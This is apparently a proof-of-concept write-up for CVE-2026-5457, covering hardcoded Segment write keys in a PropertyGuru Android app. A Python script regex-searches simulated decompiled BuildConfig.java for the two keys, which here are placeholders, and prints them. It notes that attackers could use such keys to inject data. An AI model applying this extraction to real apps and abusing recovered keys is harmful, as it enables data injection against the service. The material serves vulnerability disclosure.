CVE-2026-5457 PropertyGuru硬编码密钥漏洞

# Proof of Concept: Extract hardcoded keys from APK # This script simulates the extraction process after decompilation. import re def analyze_buildconfig(file_content): """ Searches for hardcoded Segment keys in the decompiled BuildConfig.java """ # Pattern to match the vulnerable variables android_key_pattern = r'SEGMENT_ANDROID_WRITE_KEY\s*=\s*"([^"]+)"' tos_key_pattern = r'SEGMENT_TOS_WRITE_KEY\s*=\s*"([^"]+)"' android_key = re.search(android_key_pattern, file_content) tos_key = re.search(tos_key_pattern, file_content) if android_key and tos_key: print("[+] Vulnerability Found: Hardcoded Keys Detected") print(f" SEGMENT_ANDROID_WRITE_KEY: {android_key.group(1)}") print(f" SEGMENT_TOS_WRITE_KEY: {tos_key.group(1)}") print("[!] Impact: Attacker can use these keys to inject data via Segment API.") else: print("[-] Keys not found or already removed.") # Simulated content from decompiled com/allproperty/android/agentnet/BuildConfig.java decompiled_code = """ package com.allproperty.android.agentnet; public final class BuildConfig { public static final boolean DEBUG = false; public static final String SEGMENT_ANDROID_WRITE_KEY = "vulnerable_key_12345"; public static final String SEGMENT_TOS_WRITE_KEY = "vulnerable_key_67890"; } """ if __name__ == "__main__": print("[*] Analyzing BuildConfig.java for CVE-2026-5457...") analyze_buildconfig(decompiled_code)